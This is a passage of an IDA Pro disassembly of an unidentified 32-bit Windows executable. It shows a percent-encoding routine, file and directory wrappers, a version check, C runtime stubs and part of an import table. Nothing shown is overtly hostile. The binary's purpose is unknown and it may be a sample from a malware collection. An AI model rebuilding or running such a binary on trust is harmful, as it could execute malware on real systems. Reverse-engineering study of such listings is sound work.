		jmp	ds:off_40A548[ecx*4] ; switch jump


loc_40A510:				; DATA XREF: .text:off_40A548o
		push	eax		; jumptable 0040A509 cases 0,3,5,6,28,30
		lea	edx, [esi-1]
		push	offset a2x	; "%%%2x"
		push	edx
		call	ebp	; wsprintfA
		add	esp, 0Ch
		add	esi, 2


loc_40A522:				; CODE XREF: sub_40A4B0+50j
					; sub_40A4B0+59j
					; DATA XREF: ...
		mov	al, [edi]	; default
					; jumptable 0040A509 cases 1,2,4,7-27,29
		test	al, al
		jnz	short loc_40A4F0
		pop	ebp


loc_40A529:				; CODE XREF: sub_40A4B0+34j
		mov	ecx, [esp+10h+var_4]
		push	ebx
		mov	byte ptr [esi],	0
		call	sub_402310
		push	ebx		; Memory
		call	_free
		add	esp, 4
		pop	esi
		pop	edi
		mov	al, 1
		pop	ebx
		pop	ecx
		retn	4
sub_40A4B0	endp

; ---------------------------------------------------------------------------
off_40A548	dd offset loc_40A510	; DATA XREF: sub_40A4B0+59r
		dd offset loc_40A522	; jump table for switch	statement
byte_40A550	db	0,     1,     1,     0 ; DATA XREF: sub_40A4B0+52r
		db	1,     0,     0,     1 ; indirect table	for switch statement
		db	1,     1,     1,     1
		db	1,     1,     1,     1
		db	1,     1,     1,     1
		db	1,     1,     1,     1
		db	1,     1,     1,     1
		db	0,     1,     0
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A570	proc near		; CODE XREF: sub_401D80+23p
					; sub_403350+203p ...
		jmp	ds:dword_40F17C
sub_40A570	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E979


loc_40A576:				; CODE XREF: sub_40E979+C5j
		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi], 0
		jz	short loc_40A5B6
		push	ebx
		mov	ebx, [esi+8]
		cmp	ebx, [esi+0Ch]
		jnb	short loc_40A5A8
		push	edi


loc_40A588:				; CODE XREF: sub_40E979-43D4j
		mov	edi, [ebx]
		test	edi, edi
		jz	short loc_40A59F
		mov	eax, [edi+10h]
		test	eax, eax
		jz	short loc_40A59B
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_40A59B:				; CODE XREF: sub_40E979-43E6j
		and	dword ptr [edi+10h], 0


loc_40A59F:				; CODE XREF: sub_40E979-43EDj
		add	ebx, 4
		cmp	ebx, [esi+0Ch]
		jb	short loc_40A588
		pop	edi


loc_40A5A8:				; CODE XREF: sub_40E979-43F4j
		lea	eax, [esi+10h]
		push	eax
		call	ds:dword_40F054	; RtlDeleteCriticalSection
		and	dword ptr [esi], 0
		pop	ebx


loc_40A5B6:				; CODE XREF: sub_40E979-43FDj
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_40E979

; =============== S U B	R O U T	I N E =======================================



sub_40A5B8	proc near		; CODE XREF: sub_40E979+5p
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+10h]
		mov	ecx, edi
		call	sub_4012E0
		mov	ecx, edi
		mov	dword ptr [esi], 28h
		mov	dword ptr [esi+4], 400000h
		mov	dword ptr [esi+8], offset dword_4108EC
		mov	dword ptr [esi+0Ch], offset dword_4108EC
		call	sub_401300
		test	eax, eax
		jge	short loc_40A5F3
		mov	byte_4124E0, 1


loc_40A5F3:				; CODE XREF: sub_40A5B8+32j
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_40A5B8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E979


loc_40A5F8:				; CODE XREF: sub_40E979-4339j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40A60B
		push	eax		; Memory
		call	_free
		and	dword ptr [esi], 0
		pop	ecx


loc_40A60B:				; CODE XREF: sub_40E979-437Aj
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_40E979

; =============== S U B	R O U T	I N E =======================================



sub_40A615	proc near		; CODE XREF: sub_40A645+16p
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+18h]
		call	sub_4012E0
		xor	eax, eax
		mov	[esi+30h], eax
		mov	[esi+34h], eax
		mov	[esi+38h], eax
		mov	eax, esi
		pop	esi
		retn
sub_40A615	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E979


loc_40A62F:				; CODE XREF: sub_40E979+CFj
		push	esi
		mov	esi, ecx
		lea	eax, [esi+18h]
		push	eax
		call	ds:dword_40F054	; RtlDeleteCriticalSection
		lea	ecx, [esi+30h]
		pop	esi
		jmp	loc_40A5F8
; END OF FUNCTION CHUNK	FOR sub_40E979

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=78h


sub_40A645	proc near		; CODE XREF: sub_40E979+1Bp

Dst		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_88		= dword	ptr -88h
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-78h]
		sub	esp, 98h
		mov	eax, dword_4120F8
		push	esi
		mov	[ebp+78h+var_4], eax
		mov	esi, ecx
		call	sub_40A615
		mov	eax, 400000h
		push	94h		; Size
		mov	[esi+8], eax
		mov	[esi+4], eax
		lea	eax, [ebp+78h+Dst]
		push	0		; Val
		push	eax		; Dst
		mov	dword ptr [esi], 3Ch
		mov	byte ptr [esi+0Ch], 0
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+78h+Dst]
		push	eax
		mov	[ebp+78h+Dst], 94h
		call	ds:dword_40F034	; GetVersionExA
		cmp	[ebp+78h+var_88], 2
		jnz	short loc_40A6A7
		cmp	[ebp+78h+var_94], 5
		jb	short loc_40A6BF
		jmp	short loc_40A6BB
; ---------------------------------------------------------------------------


loc_40A6A7:				; CODE XREF: sub_40A645+58j
		cmp	[ebp+78h+var_88], 1
		jnz	short loc_40A6BF
		cmp	[ebp+78h+var_94], 4
		ja	short loc_40A6BB
		jnz	short loc_40A6BF
		cmp	[ebp+78h+var_90], 0
		jbe	short loc_40A6BF


loc_40A6BB:				; CODE XREF: sub_40A645+60j
					; sub_40A645+6Cj
		mov	byte ptr [esi+0Ch], 1


loc_40A6BF:				; CODE XREF: sub_40A645+5Ej
					; sub_40A645+66j ...
		lea	ecx, [esi+18h]
		mov	dword ptr [esi+10h], 710h
		mov	dword ptr [esi+14h], offset dword_40FC9C
		call	sub_401300
		test	eax, eax
		jge	short loc_40A6E0
		mov	byte_4124E0, 1


loc_40A6E0:				; CODE XREF: sub_40A645+92j
		mov	ecx, [ebp+78h+var_4]
		mov	eax, esi
		pop	esi
		call	sub_40B5F4
		add	ebp, 78h
		leave
		retn
sub_40A645	endp

; [00000046 BYTES: COLLAPSED FUNCTION __heap_alloc. PRESS KEYPAD "+" TO	EXPAND]
; [0000002C BYTES: COLLAPSED FUNCTION __nh_malloc. PRESS KEYPAD	"+" TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION _malloc. PRESS KEYPAD "+"	TO EXPAND]
; [00000038 BYTES: COLLAPSED FUNCTION _free. PRESS KEYPAD "+" TO EXPAND]
; [000000E3 BYTES: COLLAPSED FUNCTION __resetstkoflw. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2.	PRESS KEYPAD "+" TO EXPAND]
; [00000022 BYTES: COLLAPSED FUNCTION __unwind_handler.	PRESS KEYPAD "+" TO EXPAND]
; [00000068 BYTES: COLLAPSED FUNCTION __local_unwind2. PRESS KEYPAD "+"	TO EXPAND]
; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

__NLG_Notify1:
		push	ebx
		push	ecx
		mov	ebx, offset dword_4120E0
		jmp	short loc_40A970
; [00000018 BYTES: COLLAPSED FUNCTION __NLG_Notify. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh
; [000000E6 BYTES: COLLAPSED FUNCTION __except_handler3. PRESS KEYPAD "+" TO EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION _seh_longjmp_unwind(x). PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000003D BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND]
; [00000005 BYTES: COLLAPSED FUNCTION j__free. PRESS KEYPAD "+"	TO EXPAND]
; [00000005 BYTES: COLLAPSED FUNCTION j_j__free. PRESS KEYPAD "+" TO EXPAND]
; [0000003D BYTES: COLLAPSED FUNCTION _wcsncpy.	PRESS KEYPAD "+" TO EXPAND]
; [00000162 BYTES: COLLAPSED FUNCTION _realloc.	PRESS KEYPAD "+" TO EXPAND]
; [00000030 BYTES: COLLAPSED FUNCTION unknown_libname_1. PRESS KEYPAD "+" TO EXPAND]
; [0000006A BYTES: COLLAPSED FUNCTION __cinit. PRESS KEYPAD "+"	TO EXPAND]
; [000000C1 BYTES: COLLAPSED FUNCTION _doexit. PRESS KEYPAD "+"	TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION _exit. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __exit. PRESS KEYPAD "+" TO EXPAND]
; [0000000F BYTES: COLLAPSED FUNCTION __cexit. PRESS KEYPAD "+"	TO EXPAND]
; [0000000F BYTES: COLLAPSED FUNCTION __c_exit.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000124 BYTES: COLLAPSED FUNCTION _strncpy.	PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_40AF44	proc near		; CODE XREF: sub_403350+2DDp

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	ds:dword_40F0FC	; CreateDirectoryA
		test	eax, eax
		jnz	short loc_40AF5C
		call	ds:dword_40F068	; RtlGetLastWin32Error
		jmp	short loc_40AF5E
; ---------------------------------------------------------------------------


loc_40AF5C:				; CODE XREF: sub_40AF44+Ej
		xor	eax, eax


loc_40AF5E:				; CODE XREF: sub_40AF44+16j
		test	eax, eax
		jz	short loc_40AF6D
		push	eax
		call	__dosmaperr
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40AF6D:				; CODE XREF: sub_40AF44+1Cj
		xor	eax, eax
		retn
sub_40AF44	endp

; [00000005 BYTES: COLLAPSED FUNCTION operator new(uint). PRESS	KEYPAD "+" TO EXPAND]
; [0000000E BYTES: COLLAPSED FUNCTION operator new(uint). PRESS	KEYPAD "+" TO EXPAND]
; [00000082 BYTES: COLLAPSED FUNCTION __onexit.	PRESS KEYPAD "+" TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION _atexit. PRESS KEYPAD "+"	TO EXPAND]
; [00000028 BYTES: COLLAPSED FUNCTION ___onexitinit. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000005 BYTES: COLLAPSED CHUNK OF FUNCTION _strchr.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000BE BYTES: COLLAPSED FUNCTION _strchr. PRESS KEYPAD "+"	TO EXPAND]
; [000001AD BYTES: COLLAPSED FUNCTION _strtoxl.	PRESS KEYPAD "+" TO EXPAND]
; [00000017 BYTES: COLLAPSED FUNCTION _strtol. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000039 BYTES: COLLAPSED FUNCTION _strncmp.	PRESS KEYPAD "+" TO EXPAND]
; [00000043 BYTES: COLLAPSED FUNCTION _clock. PRESS KEYPAD "+" TO EXPAND]
; [00000037 BYTES: COLLAPSED FUNCTION ___inittime. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_40B393	proc near		; CODE XREF: sub_40B3BDj

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	ds:dword_40F0B0	; DeleteFileA
		test	eax, eax
		jnz	short loc_40B3A9
		call	ds:dword_40F068	; RtlGetLastWin32Error
		jmp	short loc_40B3AB
; ---------------------------------------------------------------------------


loc_40B3A9:				; CODE XREF: sub_40B393+Cj
		xor	eax, eax


loc_40B3AB:				; CODE XREF: sub_40B393+14j
		test	eax, eax
		jz	short loc_40B3BA
		push	eax
		call	__dosmaperr
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40B3BA:				; CODE XREF: sub_40B393+1Aj
		xor	eax, eax
		retn
sub_40B393	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40B3BD	proc near		; CODE XREF: sub_40A110+53p
		jmp	sub_40B393
sub_40B3BD	endp

; [00000022 BYTES: COLLAPSED FUNCTION __amsg_exit. PRESS KEYPAD	"+" TO EXPAND]
		pop	ecx
		pop	ecx
		retn
; [000001DC BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [0000001D BYTES: COLLAPSED CHUNK OF FUNCTION sub_40B5F4. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_40B5E0	proc near		; DATA XREF: .rdata:stru_40FCD8o
		xor	eax, eax
		inc	eax
		retn
sub_40B5E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B5E4	proc near		; DATA XREF: .rdata:stru_40FCD8o
		mov	esp, [ebp-18h]
sub_40B5E4	endp ; sp-analysis failed

; [0000000D BYTES: COLLAPSED CHUNK OF FUNCTION sub_40B5F4. PRESS KEYPAD	"+" TO EXPAND]
; [0000000E BYTES: COLLAPSED FUNCTION sub_40B5F4. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000060 BYTES: COLLAPSED FUNCTION _memset. PRESS KEYPAD "+"	TO EXPAND]
; [0000003B BYTES: COLLAPSED FUNCTION __SEH_prolog. PRESS KEYPAD "+" TO	EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __SEH_epilog. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [0000033D BYTES: COLLAPSED FUNCTION _memcpy. PRESS KEYPAD "+"	TO EXPAND]
; [0000001A BYTES: COLLAPSED FUNCTION ___heap_select. PRESS KEYPAD "+" TO EXPAND]
; [00000051 BYTES: COLLAPSED FUNCTION __heap_init. PRESS KEYPAD	"+" TO EXPAND]
; [00000048 BYTES: COLLAPSED FUNCTION ___sbh_heap_init.	PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION ___sbh_find_block. PRESS KEYPAD "+" TO EXPAND]
; [00000318 BYTES: COLLAPSED FUNCTION ___sbh_free_block. PRESS KEYPAD "+" TO EXPAND]
; [000000B7 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_region. PRESS KEYPAD "+"	TO EXPAND]
; [00000106 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_group. PRESS KEYPAD "+" TO EXPAND]
; [000002DF BYTES: COLLAPSED FUNCTION ___sbh_resize_block. PRESS KEYPAD	"+" TO EXPAND]
; [000002FC BYTES: COLLAPSED FUNCTION ___sbh_alloc_block. PRESS	KEYPAD "+" TO EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION __callnewh. PRESS	KEYPAD "+" TO EXPAND]
; [00000229 BYTES: COLLAPSED FUNCTION __ValidateEH3RN. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000033D BYTES: COLLAPSED FUNCTION _memcpy_0. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CB0D	proc near		; CODE XREF: start:loc_40B4DAp

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset stru_40FCE8
		call	__SEH_prolog
		mov	[ebp+var_1C], offset dword_4108DC


loc_40CB20:				; CODE XREF: sub_40CB0D+3Cj
		cmp	[ebp+var_1C], offset dword_4108DC
		jnb	short loc_40CB4B
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_40CB41
		call	eax
		jmp	short loc_40CB41
; ---------------------------------------------------------------------------


loc_40CB3A:				; DATA XREF: .rdata:stru_40FCE8o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_40CB3E:				; DATA XREF: .rdata:stru_40FCE8o
		mov	esp, [ebp+ms_exc.old_esp]


loc_40CB41:				; CODE XREF: sub_40CB0D+27j
					; sub_40CB0D+2Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		add	[ebp+var_1C], 4
		jmp	short loc_40CB20
; ---------------------------------------------------------------------------


loc_40CB4B:				; CODE XREF: sub_40CB0D+1Aj
		call	__SEH_epilog
		retn
sub_40CB0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; void __cdecl sub_40CB51()

sub_40CB51	proc near		; DATA XREF: __cinit:loc_40ACE1o

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset stru_40FCF8
		call	__SEH_prolog
		mov	[ebp+var_1C], offset dword_4108E4


loc_40CB64:				; CODE XREF: sub_40CB51+3Cj
		cmp	[ebp+var_1C], offset dword_4108E4
		jnb	short loc_40CB8F
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_40CB85
		call	eax
		jmp	short loc_40CB85
; ---------------------------------------------------------------------------


loc_40CB7E:				; DATA XREF: .rdata:stru_40FCF8o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_40CB82:				; DATA XREF: .rdata:stru_40FCF8o
		mov	esp, [ebp+ms_exc.old_esp]


loc_40CB85:				; CODE XREF: sub_40CB51+27j
					; sub_40CB51+2Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		add	[ebp+var_1C], 4
		jmp	short loc_40CB64
; ---------------------------------------------------------------------------


loc_40CB8F:				; CODE XREF: sub_40CB51+1Aj
		call	__SEH_epilog
		retn
sub_40CB51	endp

; [0000005F BYTES: COLLAPSED FUNCTION __dosmaperr. PRESS KEYPAD	"+" TO EXPAND]
; [00000038 BYTES: COLLAPSED FUNCTION __msize. PRESS KEYPAD "+"	TO EXPAND]
; [0000007E BYTES: COLLAPSED FUNCTION __isctype. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000068 BYTES: COLLAPSED FUNCTION __aulldiv. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000034 BYTES: COLLAPSED FUNCTION __allmul.	PRESS KEYPAD "+" TO EXPAND]
; [00000177 BYTES: COLLAPSED FUNCTION __NMSG_WRITE. PRESS KEYPAD "+" TO	EXPAND]
; [00000039 BYTES: COLLAPSED FUNCTION __FF_MSGBANNER. PRESS KEYPAD "+" TO EXPAND]
; [00000171 BYTES: COLLAPSED FUNCTION __XcptFilter. PRESS KEYPAD "+" TO	EXPAND]
; [0000005D BYTES: COLLAPSED FUNCTION __wincmdln. PRESS	KEYPAD "+" TO EXPAND]
; [000000C7 BYTES: COLLAPSED FUNCTION __setenvp. PRESS KEYPAD "+" TO EXPAND]
; [0000016C BYTES: COLLAPSED FUNCTION _parse_cmdline. PRESS KEYPAD "+" TO EXPAND]
; [000000A2 BYTES: COLLAPSED FUNCTION __setargv. PRESS KEYPAD "+" TO EXPAND]
; [00000122 BYTES: COLLAPSED FUNCTION ___crtGetEnvironmentStringsA. PRESS KEYPAD "+" TO	EXPAND]
; [000001AB BYTES: COLLAPSED FUNCTION __ioinit.	PRESS KEYPAD "+" TO EXPAND]
; [00000066 BYTES: COLLAPSED FUNCTION ___security_init_cookie. PRESS KEYPAD "+"	TO EXPAND]
; [00000147 BYTES: COLLAPSED FUNCTION ___security_error_handler. PRESS KEYPAD "+" TO EXPAND]
		align 2
; [000001BA BYTES: COLLAPSED FUNCTION ___crtGetStringTypeA. PRESS KEYPAD "+" TO	EXPAND]
; [000000F9 BYTES: COLLAPSED FUNCTION ___crtMessageBoxA. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000007 BYTES: COLLAPSED FUNCTION _strcpy. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000000E8 BYTES: COLLAPSED FUNCTION _strcat. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000008B BYTES: COLLAPSED FUNCTION _strlen. PRESS KEYPAD "+"	TO EXPAND]
; [00000033 BYTES: COLLAPSED FUNCTION _x_ismbbtype. PRESS KEYPAD "+" TO	EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __ismbblead. PRESS KEYPAD	"+" TO EXPAND]
; [0000002F BYTES: COLLAPSED FUNCTION _CPtoLCID. PRESS KEYPAD "+" TO EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION _setSBCS.	PRESS KEYPAD "+" TO EXPAND]
; [0000018C BYTES: COLLAPSED FUNCTION _setSBUpLow. PRESS KEYPAD	"+" TO EXPAND]
; [000001E6 BYTES: COLLAPSED FUNCTION __setmbcp. PRESS KEYPAD "+" TO EXPAND]
; [0000001E BYTES: COLLAPSED FUNCTION ___initmbctable. PRESS KEYPAD "+"	TO EXPAND]
; [00000043 BYTES: COLLAPSED FUNCTION ___ansicp. PRESS KEYPAD "+" TO EXPAND]
; [000001C9 BYTES: COLLAPSED FUNCTION ___convertcp. PRESS KEYPAD "+" TO	EXPAND]
; [0000007B BYTES: COLLAPSED FUNCTION _calloc. PRESS KEYPAD "+"	TO EXPAND]
; [000003BC BYTES: COLLAPSED FUNCTION ___crtLCMapStringA. PRESS	KEYPAD "+" TO EXPAND]
; [00000058 BYTES: COLLAPSED FUNCTION _atol. PRESS KEYPAD "+" TO EXPAND]
; [00000090 BYTES: COLLAPSED FUNCTION __ismbcspace. PRESS KEYPAD "+" TO	EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40E7C2	proc near		; CODE XREF: __global_unwind2+13p
		jmp	ds:dword_40F10C
sub_40E7C2	endp

; [0000002B BYTES: COLLAPSED FUNCTION __strdup.	PRESS KEYPAD "+" TO EXPAND]
; [0000003E BYTES: COLLAPSED FUNCTION _xtoa. PRESS KEYPAD "+" TO EXPAND]
; [00000027 BYTES: COLLAPSED FUNCTION __ltoa. PRESS KEYPAD "+" TO EXPAND]
		align 10h

__aulldvrm:
		push	esi
		mov	eax, [esp+14h]
		or	eax, eax
		jnz	short loc_40E891
		mov	ecx, [esp+10h]
		mov	eax, [esp+0Ch]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8]
		div	ecx
		mov	esi, eax
		mov	eax, ebx
		mul	dword ptr [esp+10h]
		mov	ecx, eax
		mov	eax, esi
		mul	dword ptr [esp+10h]
		add	edx, ecx
		jmp	short loc_40E8D8
; ---------------------------------------------------------------------------


loc_40E891:				; CODE XREF: .text:0040E867j
		mov	ecx, eax
		mov	ebx, [esp+10h]
		mov	edx, [esp+0Ch]
		mov	eax, [esp+8]


loc_40E89F:				; CODE XREF: .text:0040E8A9j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_40E89F
		div	ebx
		mov	esi, eax
		mul	dword ptr [esp+14h]
		mov	ecx, eax
		mov	eax, [esp+10h]
		mul	esi
		add	edx, ecx
		jb	short loc_40E8CD
		cmp	edx, [esp+0Ch]
		ja	short loc_40E8CD
		jb	short loc_40E8D6
		cmp	eax, [esp+8]
		jbe	short loc_40E8D6


loc_40E8CD:				; CODE XREF: .text:0040E8BDj
					; .text:0040E8C3j
		dec	esi
		sub	eax, [esp+10h]
		sbb	edx, [esp+14h]


loc_40E8D6:				; CODE XREF: .text:0040E8C5j
					; .text:0040E8CBj
		xor	ebx, ebx


loc_40E8D8:				; CODE XREF: .text:0040E88Fj
		sub	eax, [esp+8]
		sbb	edx, [esp+0Ch]
		neg	edx
		neg	eax
		sbb	edx, 0
		mov	ecx, edx
		mov	edx, ebx
		mov	ebx, ecx
		mov	ecx, eax
		mov	eax, esi
		pop	esi
		retn	10h
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40E900	proc near		; DATA XREF: .data:00412010o
		mov	ecx, offset dword_412048
		call	sub_401300
		test	eax, eax
		jge	short loc_40E915
		mov	byte_4124E0, 1


loc_40E915:				; CODE XREF: sub_40E900+Cj
		push	offset loc_40EA00 ; void (__cdecl *)()
		call	_atexit
		pop	ecx
		retn
sub_40E900	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40E930	proc near		; DATA XREF: .data:00412014o
		mov	ecx, offset dword_412080
		mov	off_4124D4, offset off_412070
		call	sub_401300
		test	eax, eax
		jge	short loc_40E94F
		mov	byte_4124E0, 1


loc_40E94F:				; CODE XREF: sub_40E930+16j
		push	offset loc_40E9B0 ; void (__cdecl *)()
		mov	dword_412098, 0
		mov	off_4124C0, offset off_412070
		mov	off_412070, offset off_40F590
		call	_atexit
		pop	ecx
		retn
sub_40E930	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E979	proc near		; DATA XREF: .data:00412008o

; FUNCTION CHUNK AT 0040A576 SIZE 00000042 BYTES
; FUNCTION CHUNK AT 0040A5F8 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0040A62F SIZE 00000016 BYTES

		mov	ecx, offset dword_412540
		call	sub_40A5B8
		push	offset loc_40EA39 ; void (__cdecl *)()
		call	_atexit
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_40E98F:				; DATA XREF: .data:0041200Co
		mov	ecx, offset dword_412568
		call	sub_40A645
		push	offset loc_40EA43 ; void (__cdecl *)()
		call	_atexit
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		align 10h

; void __cdecl loc_40E9B0()

loc_40E9B0:				; DATA XREF: sub_40E930:loc_40E94Fo
		mov	eax, dword_412074
		test	eax, eax
		jz	short locret_40E9FA
		mov	eax, dword_41207C
		test	eax, eax
		jz	short loc_40E9D6
		push	offset dword_412074
		call	sub_401BB0
		mov	dword_41207C, 0


loc_40E9D6:				; CODE XREF: sub_40E979+47j
		mov	eax, dword_412098
		test	eax, eax
		jz	short loc_40E9E5
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_40E9E5:				; CODE XREF: sub_40E979+64j
		push	offset dword_412080
		call	ds:dword_40F054	; RtlDeleteCriticalSection
		mov	dword_412074, 0

locret_40E9FA:				; CODE XREF: sub_40E979+3Ej
		retn
; ---------------------------------------------------------------------------
		align 10h

; void __cdecl loc_40EA00()

loc_40EA00:				; DATA XREF: sub_40E900:loc_40E915o
		mov	eax, dword_41256C
		push	esi
		push	eax
		push	offset dword_412044
		call	sub_4020E0
		mov	eax, dword_412064
		xor	esi, esi
		cmp	eax, esi
		jz	short loc_40EA2B
		push	eax		; Memory
		call	_free
		add	esp, 4
		mov	dword_412064, esi


loc_40EA2B:				; CODE XREF: sub_40E979+A1j
		mov	dword_412068, esi
		mov	dword_41206C, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------

; void __cdecl loc_40EA39()

loc_40EA39:				; DATA XREF: sub_40E979+Ao
		mov	ecx, offset dword_412540
		jmp	loc_40A576
; ---------------------------------------------------------------------------

; void __cdecl loc_40EA43()

loc_40EA43:				; DATA XREF: sub_40E979+20o
		mov	ecx, offset dword_412568
		jmp	loc_40A62F
sub_40E979	endp

_text		ends

; Section 2. (virtual address 0000F000)
; Virtual size			: 0000264E (   9806.)
; Section size in file		: 0000264E (   9806.)
; Offset to raw	data for section: 0000F000
; Flags	40000040: Data Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 40F000h
dword_40F000	dd 77DD590Bh		; DATA XREF: sub_4030B0+6Ar
					; sub_403350+680r ...
dword_40F004	dd 77DD5C55h		; DATA XREF: sub_404100+278r
dword_40F008	dd 77DD839Fh		; DATA XREF: sub_401EF0+106r
					; sub_402B60+237r ...
dword_40F00C	dd 77DD22EAh		; DATA XREF: sub_4014F0+22r
					; sub_401EF0+35r ...
dword_40F010	dd 77DD59F0h		; DATA XREF: sub_401540+13r
					; sub_401560+21r ...
dword_40F014	dd 77DDAE23h		; DATA XREF: sub_401990+27r
					; sub_402B60+20Fr ...
dword_40F018	dd 77DD842Ah		; DATA XREF: sub_401EF0:loc_401F6Ar
dword_40F01C	dd 77DD23D7h		; DATA XREF: .text:00403222r
					; sub_407540+3Fr ...
dword_40F020	dd 77DD189Ah		; DATA XREF: sub_4014D0+Cr
					; sub_4014F0+33r ...
		align 8
dword_40F028	dd 77E7A13Fh		; DATA XREF: sub_401140:loc_401185r
					; __setmbcp+42r
dword_40F02C	dd 77E7513Ch		; DATA XREF: sub_401140+19r
					; ___ansicp+20r
dword_40F030	dd 77E77F21h		; DATA XREF: sub_401140+6r
dword_40F034	dd 77E7C657h		; DATA XREF: .text:004011C2r
					; sub_40A645+4Er ...
dword_40F038	dd 77E77CCEh		; DATA XREF: sub_401200+26r
					; sub_401E30+31r ...
dword_40F03C	dd 77E79924h		; DATA XREF: sub_401240+28r
					; sub_404CD0+91r ...
dword_40F040	dd 77E77EF1h		; DATA XREF: sub_401280+7r
					; sub_402410+2Br ...
dword_40F044	dd 77E6D706h		; DATA XREF: .text:004012CFr
					; sub_401BB0+12r ...
dword_40F048	dd 77F7E21Fh		; DATA XREF: .text:00402E89r
					; sub_402EC0+18r
dword_40F04C	dd 77F7E300h		; DATA XREF: .text:00402E99r
					; sub_402EC0+3Fr ...
